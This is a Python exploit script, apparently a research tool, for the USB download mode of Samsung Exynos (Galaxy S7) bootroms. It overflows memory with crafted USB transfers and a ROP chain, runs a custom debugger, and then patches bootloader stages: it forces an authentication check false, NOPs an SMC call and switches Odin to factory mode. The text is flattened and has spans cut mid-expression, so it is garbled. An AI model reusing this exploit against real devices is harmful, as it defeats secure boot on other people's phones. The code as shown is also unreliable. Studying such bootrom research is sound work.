import struct, sys, usb1, libusb1, ctypes, usb, argparse from keystone import * from capstone import * from ghidra_assistant.utils.utils import * from ghidra_assistant.concrete_device import * from ghidra_assistant.utils.debugger.debugger_archs.ga_arm64 import GA_arm64_debugger from qiling.const import QL_ARCH import os, tqdm, datetime def p32(x): return struct.pack("= xfer_buffer_start and current_offset < xfer_buffer_start: break self.send_empty_transfer() current_offset += CHUNK_SIZE cnt += 1 if current_offset > 0x100000000: current_offset = current_offset - 0x100000000 #reset 32 byte integer print(f"{cnt} {hex(current_offset)}") remaining = (TARGET_OFFSETS[self.target][1] - current_offset) assert remaining != 0, "Invalid remaining, needs to be > 0 in order to overwrite with the last packet" if remaining > BLOCK_SIZE: self.send_empty_transfer() # Send last transfer, TODO who aligns this ROM?? current_offset += ((remaining // BLOCK_SIZE) * BLOCK_SIZE) cnt += 1 print(f"{cnt} {hex(current_offset)}") # Build ROP chain. rop_chain = (b"\x00" * (ram_size - 6)) + p64(TARGET_OFFSETS[self.target][0]) + (b"\x00" * 2) transferred = ctypes.c_int(0) res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, rop_chain, len(rop_chain), ctypes.byref(transferred), 0) assert res == 0, "Error sending ROP chain" return def usb_write(self, data): assert len(data) <= 0x200, "Data too big" transferred = ctypes.c_int() res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, data, len(data), ctypes.byref(transferred), 300) assert res == 0, f"Error sending data {res}" assert transferred.value == len(data), f"Invalid transfered size {transferred.value} != {len(data)}" return transferred.value def usb_read(self, size): transferred = ctypes.c_int() buf = ctypes.c_buffer(b"", size) res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_IN, buf, len(buf), ctypes.byref(transferred), 300) assert res == 0, f"Error receiving data {res}" return buf.raw[:transferred.value] def setup_concrete_device(self, concrete_device : ConcreteDevice): #Setup architecture concrete_device.arch = QL_ARCH.ARM64 concrete_device.ga_debugger_location = 0x2069000 # TODO, not used yet concrete_device.ga_vbar_location = 0x206d000 + 0x1000 concrete_device.ga_storage_location = 0x206d000 concrete_device.ga_stack_location = 0x206b000 concrete_device.arch_dbg = GA_arm64_debugger(concrete_device.ga_vbar_location, concrete_device.ga_debugger_location, concrete_device.ga_storage_location) concrete_device.arch_dbg.read = self.usb_read concrete_device.arch_dbg.write = self.usb_write #Overwrite all calls to make the concrete target function properly concrete_device.copy_functions() def usb_debug(self): """ Function to debug USB behaviour. Sends and receives data in continuous flow. """ transferred = ctypes.c_int() # Send some data count = 0 def _send_data(): transferred.value = 0 p = p32(count) + b"\xaa" * (0x200 - 4) res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, p, len(p), ctypes.byref(transferred), 100) assert res == 0, f"Error sending data ({res})" def _recv_data(): transferred.value = 0 buf = ctypes.c_buffer(b"", 0x200) res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, 0x81, buf, len(buf), ctypes.byref(transferred), 100) assert res == 0, f"Error receiving data ({res})" hexdump(buf.raw) # Should have received some bytes while True: _send_data() _recv_data() count += 1 def dump_memory(self, start: hex=0x0, end: hex=0x02070000, write=False): """ Dumps memory from the device. Transfer XFER_BUFFER at 0x02021800, to: 0x02020F08. End of memory at 0x0206ffff. """ dumped = b"" # Read data from memory try: for block in tqdm.tqdm(range(start, end, 0x6000)): dump = self.cd.memdump_region(block, 0x6000) dumped += dump except: print("Error reading memory, at block: ", hex(block)) return dumped def setup_guppy_debugger(self): """ Sets up guppy debugger on the device itself. """ def _setup_debugger(): ''' Setup the debugger as a concrete device ''' self.cd = ConcreteDevice(None, False) self.cd.dev = self.setup_concrete_device(self.cd) self.cd.test_connection() def _initial_run_debugger(): """Write debugger to device and test basic functionality""" ### Setup debugger if os.getenv("USER") == "eljakim": debugger = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin", "rb").read() else: try: debugger = open("../../dump/debugger.bin", "rb").read() except Exception as e: print(f'Are you missing your debugger? Please ensure it is present in dump/debugger.bin. {e}') sys.exit(0) debugger += ((0x2000 - len(debugger)) * b"\x00") assert len(debugger) == 0x2000, "Invalid debugger size, stage1 requires 0x2000 size" for block in range(0, len(debugger), 0x200): self.usb_write(debugger[block:block+0x200]) # time.sleep(.5) # Wait a little bit assert self.usb_read(0x200) == b"GiAs", "No response from debugger" # Test basic functionality self.usb_write(b"PING") r = self.usb_read(0x200) assert r == b"PONG", f"Invalid response from device: {r}" _initial_run_debugger() _setup_debugger() def relocate_debugger(self, debugger=None, entry=0x020c0000, storage=0x020c4000, g_data_received=0x020c6000, alternative_size=0x1000): """ Relocates the debugger to another location. Make sure to have built the debugger with the correct addresses! Args: - debugger: The debugger to relocate. If None, it will use the default debugger. - entry: The entry point of the debugger. - storage: The storage location of the debugger. - g_data_received: The location of the data received. """ if debugger is None: if os.getenv("USER") == "eljakim": debugger_reloc = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/reloc_debugger.bin", "rb").read() else: try: debugger_reloc = open("../../dump/reloc_debugger.bin", "rb").read() except Exception as e: print(f'Are you missing your debugger? Please ensure it is present in dump/debugger.bin. {e}') sys.exit(0) else: debugger_reloc = debugger self.cd.memwrite_region(entry, debugger_reloc) # self.usb_write(b"FLSH") # Flush cache self.cd.restore_stack_and_jump(entry) assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger" self.cd.relocate_debugger(g_data_received+alternative_size, entry, storage) #0x20c7000, 0x20c0000, 0x20c4000 def dumb_interact(self, dump_imems=False): ''' Room for playing around with the debugger on the phone. ''' self.cd.arch_dbg.state.auto_sync = False self.cd.arch_dbg.state.auto_sync_special = False logger.debug('State after setting up initial debugger') self.cd.arch_dbg.state.print_ctx() def first_debugger(): debugger = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin", "rb").read() self.cd.memwrite_region(0x2069000, debugger) self.cd.restore_stack_and_jump(0x2069000) assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger" self.cd.relocate_debugger(0x206d000 + 0x1000, 0x2069000, 0x206d000) # self.relocate_debugger() DEBUGGER_ADDR = 0x2069000 #0x020c0000 ### Get whereabouts of the debugger and current processor state logger.debug('State after relocating debugger') self.cd.arch_dbg.state.print_ctx() def memdump_imem(): """ Dumps the internal memory of the device (0x2020000 - 0x2070000). """ dumped = b"" for block in range(0x2020000, 0x2070000, 0x200): # print(hex(block)) dumped += self.cd.memdump_region(block, 0x200) return dumped AUTH_BL1 = 0x00012848 # Location of the authentication function def auth_bl1(lr=0x2069000): # Load the firmware self.cd.arch_dbg.state.X0 = 1 self.cd.arch_dbg.state.X1 = 1 self.cd.arch_dbg.state.LR = lr #jump back to debugger when finished self.cd.restore_stack_and_jump(AUTH_BL1) assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger" assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!" BOOT_BL1 = 0x00019310 # Location of the boot function def boot_bl1(lr=0x2069000): self.cd.arch_dbg.state.LR = lr self.cd.restore_stack_and_jump(BOOT_BL1) assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger" JUMP_BL1 = 0x000002c0 # Location of the function to start the BL1 boot def jump_bl1(lr): self.cd.arch_dbg.state.LR = lr self.cd.restore_stack_and_jump(JUMP_BL1) # Always hijack rom_usb_download function: rom_usb_download = self.cd.memdump_region(0x020200dc, 4) self.cd.memwrite_region(0x020200dc, p32(0x2069000)) # Try loading bl1 bl1 = open("../S7/bl1.bin", "rb").read() self.cd.memwrite_region(0x02021800, bl1) self.usb_write(b"FLSH") # Flush cache, as Frederic does self.cd.test_connection() auth_bl1(DEBUGGER_ADDR) # boot_bl1(DEBUGGER_ADDR) self.cd.memwrite_region(0x02022858, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR)) # jump to debugger on next stage download self.cd.memwrite_region(0x020219cc, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR)) jump_bl1(DEBUGGER_ADDR) # Returns on usb_download function assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger" self.cd.arch_dbg.state.print_ctx() dl_ready, next_stage = struct.unpack(" MMU says 0x0 instead of 0x1, but still little access (and proper USB recovyer boot!?) self.cd.memwrite_region(0x020244e8, struct.pack('>I', 0x1f0c00f1)) # Change check to always be false # DWC3 OTG update mode -> Might be useful at some point? # self.cd.memwrite_region(0x02021580, struct.pack('>I', 0x00000000)) # Jump into BL31 and execute it self.cd.restore_stack_and_jump(0x02024010) # Obligatory reconnect and check of debugger time.sleep(2) self.connect_device() self.usb_read(0x200) # GiAs BL31_ra = self.cd.arch_dbg.state.LR self.cd.arch_dbg.fetch_special_regs() print(f'MMU is {hex(self.cd.arch_dbg.state.R_SCTLR_EL3.mmu)} (0x1=enabled, 0x0=disabled)') print(f'TTBR0_EL3: {hex(self.cd.arch_dbg.state.TTBR0_EL3)}, TTBR1_EL2: {hex(self.cd.arch_dbg.state.TTBR0_EL2)}, TTBR0_EL1: {hex(self.cd.arch_dbg.state.TTBR0_EL1)}') print(f'VBAR_EL3: {hex(self.cd.arch_dbg.state.VBAR_EL3)}, VBAR_EL2: {hex(self.cd.arch_dbg.state.VBAR_EL2)}, VBAR_EL1: {hex(self.cd.arch_dbg.state.VBAR_EL1)}') print(f'TCR_EL3: {hex(self.cd.arch_dbg.state.TCR_EL3)}, TCR_EL2: {hex(self.cd.arch_dbg.state.TCR_EL2)}, TCR_EL1: {hex(self.cd.arch_dbg.state.TCR_EL1)}') print(f'SCTLR_EL3: {hex(self.cd.arch_dbg.state.SCTLR_EL3)}, SCTLR_EL2: {hex(self.cd.arch_dbg.state.SCTLR_EL2)}, SCTLR_EL1: {hex(self.cd.arch_dbg.state.SCTLR_EL1)}') print(f'MAIR_EL3: {hex(self.cd.arch_dbg.state.MAIR_EL3)}, MAIR_EL2: {hex(self.cd.arch_dbg.state.MAIR_EL2)}, MAIR_EL1: {hex(self.cd.arch_dbg.state.MAIR_EL1)}') print(f'Current EL: {hex(self.cd.arch_dbg.state.CURRENT_EL)}') # self.cd.arch_dbg.fetch_special_regs() # -> Does not work with original debugger (?->memory overlap somewhere). Only with relocated debugger. VBAR_EL3 = self.cd.arch_dbg.state.VBAR_EL3 self.test_write_execute(0x11207010) # self.cd.arch_dbg.state.LR = DEBUGGER_ADDR self.cd.restore_stack_and_jump(hijacked_fun) # ==== Stage 4 BL2 ==== bl2 = open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read() self.send_normal_stage(bl2) time.sleep(2) self.connect_device() self.usb_read(0x200) # GiAs self.cd.arch_dbg.fetch_special_regs() print(f'MMU is {hex(self.cd.arch_dbg.state.R_SCTLR_EL3.mmu)} (0x1=enabled, 0x0=disabled)') print(f'TTBR0_EL3: {hex(self.cd.arch_dbg.state.TTBR0_EL3)}, TTBR1_EL2: {hex(self.cd.arch_dbg.state.TTBR0_EL2)}, TTBR0_EL1: {hex(self.cd.arch_dbg.state.TTBR0_EL1)}') print(f'VBAR_EL3: {hex(self.cd.arch_dbg.state.VBAR_EL3)}, VBAR_EL2: {hex(self.cd.arch_dbg.state.VBAR_EL2)}, VBAR_EL1: {hex(self.cd.arch_dbg.state.VBAR_EL1)}') print(f'TCR_EL3: {hex(self.cd.arch_dbg.state.TCR_EL3)}, TCR_EL2: {hex(self.cd.arch_dbg.state.TCR_EL2)}, TCR_EL1: {hex(self.cd.arch_dbg.state.TCR_EL1)}') print(f'SCTLR_EL3: {hex(self.cd.arch_dbg.state.SCTLR_EL3)}, SCTLR_EL2: {hex(self.cd.arch_dbg.state.SCTLR_EL2)}, SCTLR_EL1: {hex(self.cd.arch_dbg.state.SCTLR_EL1)}') print(f'MAIR_EL3: {hex(self.cd.arch_dbg.state.MAIR_EL3)}, MAIR_EL2: {hex(self.cd.arch_dbg.state.MAIR_EL2)}, MAIR_EL1: {hex(self.cd.arch_dbg.state.MAIR_EL1)}') print(f'Current EL: {hex(self.cd.arch_dbg.state.CURRENT_EL)}') # Restore bootflow print(self.cd.arch_dbg.state.print_ctx()) BL33_ptr = self.cd.arch_dbg.state.X0 BL33_LR = self.cd.arch_dbg.state.LR self.cd.arch_dbg.state.LR = DEBUGGER_ADDR # self.cd.memwrite_region(0x020200dc, p32(hijacked_fun) # Disable this to keep access to the debugger after senindg the next stage self.cd.arch_dbg.state.X23 = DEBUGGER_ADDR # TEMPORARY self.cd.restore_stack_and_jump(hijacked_fun) # ==== Stage 5 ==== # Sends stage 5 (BL33) but returns to debugger after sending. stage4 = open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read() print_payload = open("/home/jonathan/projects/samsung_s7/source/screen_print/print.bin", "rb").read() off = stage4.find(bytes.fromhex("fd 7b bd a9 fd 03 00 91 f3 53 01 a9 d4 08 00 d0 f3 03 01 2a a0 17 00 f9")) stage4 = stage4[off:] + print_payload + stage4[off+len(print_payload):] self.send_normal_stage(stage4) self.connect_device() self.usb_read(0x200) # GiAs # # Modify something in BL33 print(self.cd.arch_dbg.state.print_ctx()) print(self.cd.memdump_region(0x8f063710, 0x8)) self.cd.memwrite_region(0x8f063710, struct.pack('>I', 0x53614d74)) print(self.cd.memdump_region(0x8f063710, 0x8)) # Modify USB Recovyer mode string to: NFI Patched BL33 # patch_string = b'\x4e\x46\x49\x20\x50\x61\x74\x63\x68\x69\x6e\x67\x20\x42\x4c\x33\x33' # self.cd.memwrite_region(0x8f06ab10, patch_string) # Print state of x30/LR on screen self.cd.memwrite_region(0x8f063718, struct.pack('>I', 0x61616161)) ### ==================== Writing nops to code cave # Write NOP from 0x8f008cb8 to 0x8f008d14 using self.cd.memwrite for i in range(0x8f008cb8, 0x8f008d14, 4): self.cd.memwrite_region(i, b'\x1f\x20\x03\xd5') #self.cd.memwrite_region(0x8f008cb8, struct.pack('>I', 0x1f2003d5)) # Overwrite the data pointer showing 'USB Recovery Mode' to something else # self.cd.memwrite_region(0x8f01dc00, struct.pack('>I', 0x24080090)) # Overwrite a str to a something else # self.cd.memwrite_region(0x8f01dc28, struct.pack('>I', 0xe40300f9)) # Nop initial show usb recovery mode screen function # self.cd.memwrite_region(0x8f022654, struct.pack('>I', 0x1f2003d5)) self.cd.memwrite_region(0x8f022654, struct.pack('>I', 0xe4ff9fd2)) # Modify a mov function (0xffff into x4). If this is not nopped, or adjusted, the device will crash. But will try to continue booting (?) self.cd.memwrite_region(0x8f022658, struct.pack('>I', 0x1f2003d5)) #0xe5031daa. # Overwrite log function to display screen at end of nops self.cd.memwrite_region(0x8f02265c, struct.pack('>I', 0xbbffff97)) #0xbbffff97 # ================== # for i in range(0x8f008cd8, 0x8f008cf4, 4): # self.cd.memwrite_region(i, struct.pack('>I', 0x1f2003d5)) # # Write shellcode to set some contents on x0 to x5 registers # shellcode = f""" # // x5 is the address at x0 # mov x5, x0 # mov x0, 0x1234 # mov x1, 0x12 # mov x2, 0xffff # mov x3, 0xffff # mov x4, 0xffff # bl 0x8f025fb8 # // ret # """ # shellcode = ks.asm(shellcode, as_bytes=True)[0] # self.cd.memwrite_region(0x8f008cd8, shellcode) # Nop a adrp towards 0x8f09a000 self.cd.memwrite_region(0x8f008cb8, struct.pack('>I', 0x1f2003d5)) # ODIN MODE to FACTORY mode self.cd.memwrite_region(0x8f0114f8, struct.pack('>I', 0x82008052)) # Nop a SMC call in BL2 self.cd.memwrite_region(0x02059650, struct.pack('>I', 0x1f2003d5)) # Jump into a different function that continues the boot flow (different than BL33_LR) self.cd.restore_stack_and_jump(0x02024e5c) pass if __name__ == "__main__": arg = argparse.ArgumentParser("Exynos exploit") arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False) arg.add_argument("--unsecure-boot", action="store_true", help="Unsecure boot", default=False) arg.add_argument("--debugger-boot", action="store_true", help="Unsecure boot", default=False) args = arg.parse_args() exynos = ExynosDevice() if args.debug: shellcode = open("../dwc3_test/dwc3.bin", "rb").read() exynos.exploit(shellcode) exynos.dump_memory(write=True) # exynos.usb_debug() sys.exit(0) if args.unsecure_boot: exynos.unsecure_boot() sys.exit(0) stage1 = open("stage1/stage1.bin", "rb").read() exynos.exploit(stage1) if args.debugger_boot: exynos.debugger_boot() sys.exit(0) exynos.setup_guppy_debugger() exynos.dumb_interact() sys.exit(0)